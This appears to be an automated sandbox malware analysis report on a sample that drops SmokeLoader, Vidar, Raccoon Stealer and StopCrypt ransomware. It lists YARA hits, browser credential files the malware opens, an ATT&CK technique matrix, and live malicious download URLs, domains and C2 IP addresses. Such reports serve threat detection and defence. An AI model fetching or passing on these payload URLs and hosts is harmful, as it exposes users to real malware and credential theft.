Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Code function: 0_2_00421940 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00421940

Source: C:\Users\user\AppData\Local\Temp\192F.exe

Code function: 29_2_6A944020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,

29_2_6A944020

Stealing of Sensitive Information:

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 26.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.1.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.97A5.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cviueca.2c715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.3180e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.cviueca.2d815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SkB6zJ6H3N.exe.2be15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.192F.exe.3190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.450724070.00000000047F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404074560.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.294055792.0000000003111000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368895221.00000000004E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.308080762.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419226513.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.449678502.0000000002C10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.402440778.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404878363.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.307863142.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419361924.00000000031B1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 32BC.exe PID: 5540, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\32BC.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies

Source: Yara match

File source: 36.3.32BC.exe.2d741e6.1.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Vidar

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 26.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.1.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.97A5.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cviueca.2c715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.3180e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.cviueca.2d815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SkB6zJ6H3N.exe.2be15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.192F.exe.3190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.450724070.00000000047F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404074560.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.294055792.0000000003111000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368895221.00000000004E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.308080762.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419226513.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.449678502.0000000002C10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.402440778.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404878363.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.307863142.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419361924.00000000031B1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 32BC.exe PID: 5540, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	DLL Side-Loading11	Exploitation for Privilege Escalation1	Disable or Modify Tools11	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Shared Modules1	Application Shimming1	DLL Side-Loading11	Deobfuscate/Decode Files or Information1	Input Capture1	File and Directory Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Windows Service1	Application Shimming1	Obfuscated Files or Information3	Security Account Manager	System Information Discovery15	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter12	Logon Script (Mac)	Access Token Manipulation1	Software Packing23	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol5	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution2	Network Logon Script	Windows Service1	Timestomp1	LSA Secrets	Security Software Discovery431	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol126	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection612	DLL Side-Loading11	Cached Domain Credentials	Virtualization/Sandbox Evasion131	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion131	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Process Injection612	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Hidden Files and Directories1	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SkB6zJ6H3N.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\EDD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\5D4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6DDE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7428.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\69B5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\cviueca	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\32BC.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8746.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\75B0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\97A5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\319A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\89D7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\eviueca	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\sfiueca	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\8E8B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\192F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	Metadefender		Browse
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1105.tmp	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1105.tmp	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\192F.exe	80%	ReversingLabs	Win32.Ransomware.StopCrypt
C:\Users\user\AppData\Local\Temp\319A.exe	43%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\6DDE.exe	30%	ReversingLabs	Win32.Trojan.Raccrypt
C:\Users\user\AppData\Local\Temp\75B0.exe	55%	ReversingLabs	Win32.Trojan.Fragtor
C:\Users\user\AppData\Local\Temp\86B8.exe	14%	ReversingLabs	ByteCode-MSIL.Backdoor.Androm
C:\Users\user\AppData\Local\Temp\8746.exe	32%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.1.SkB6zJ6H3N.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.1.cviueca.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.97A5.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.1.97A5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.97A5.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.SkB6zJ6H3N.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
29.1.192F.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.3.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
33.3.69B5.exe.2c10000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.192F.exe.3180e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.SkB6zJ6H3N.exe.2be15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.0.cviueca.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
19.2.97A5.exe.2cb15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.192F.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.2.cviueca.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.0.cviueca.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
26.0.cviueca.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.97A5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
33.2.69B5.exe.2c00e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.SkB6zJ6H3N.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
21.2.cviueca.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
22.2.cviueca.2c715a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.cviueca.2d815a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
33.2.69B5.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.SkB6zJ6H3N.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.0.cviueca.400000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
20.0.97A5.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.SkB6zJ6H3N.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.1.cviueca.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.3.192F.exe.3190000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Link
privacytoolzforyou-6000.top	5%	Virustotal	Browse
iyc.jelikob.ru	12%	Virustotal	Browse
mas.to	7%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://tempuri.org/DetailsDataSet1.xsd	0%	Avira URL Cloud	safe
http://sysaheu90.top/game.exe	100%	Avira URL Cloud	malware
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://194.180.174.181//l/f/9Z2CynwB3dP17SpzOnMI/7af57f772c6107cc1c44807ee6e54627588ad2f9	0%	Avira URL Cloud	safe
http://nusurtal4f.net/	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://194.180.174.181//l/f/9Z2CynwB3dP17SpzOnMI/9f3868956801fb92fa090557a1edc6020dc838a9	0%	Avira URL Cloud	safe
http://194.180.174.181//l/f/_51AzHwB3dP17SpzL5Xz/3fa38023efb6f7516e4aff23353cd7c666085597	0%	Avira URL Cloud	safe
http://znpst.top/dl/buildz.exe	100%	Avira URL Cloud	malware
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
http://privacytoolzforyou-6000.top/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://sectigo.com/CPS0C	0%	URL Reputation	safe
http://194.180.174.181/	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0D	0%	URL Reputation	safe
http://194.180.174.181//l/f/_51AzHwB3dP17SpzL5Xz/3c5ef2028f9a45f85119eb6cb39f21b264b252bf	0%	Avira URL Cloud	safe
http://toptelete.top/agrybirdsgamerept	100%	Avira URL Cloud	malware
http://193.56.146.214/	0%	Avira URL Cloud	safe
http://xacokuo8.top/	100%	Avira URL Cloud	malware
http://hajezey1.top/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
privacytoolzforyou-6000.top	185.98.87.159	true	true	5%, Virustotal, Browse	unknown
iyc.jelikob.ru	81.177.141.36	true	true	12%, Virustotal, Browse	unknown
toptelete.top	172.67.160.46	true	false		unknown
mas.to	88.99.75.82	true	false	7%, Virustotal, Browse	unknown
cdn.discordapp.com	162.159.135.233	true	false		high
api.2ip.ua	77.123.139.190	true	false		high
znpst.top	116.121.62.237	true	true		unknown
nusurtal4f.net	45.141.84.21	true	true		unknown
hajezey1.top	185.98.87.159	true	true		unknown
sysaheu90.top	185.98.87.159	true	true		unknown
telegalive.top	unknown	unknown	true		unknown
xacokuo8.top	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sysaheu90.top/game.exe	true	Avira URL Cloud: malware	unknown
http://194.180.174.181//l/f/9Z2CynwB3dP17SpzOnMI/7af57f772c6107cc1c44807ee6e54627588ad2f9	true	Avira URL Cloud: safe	unknown
http://nusurtal4f.net/	false	Avira URL Cloud: safe	unknown
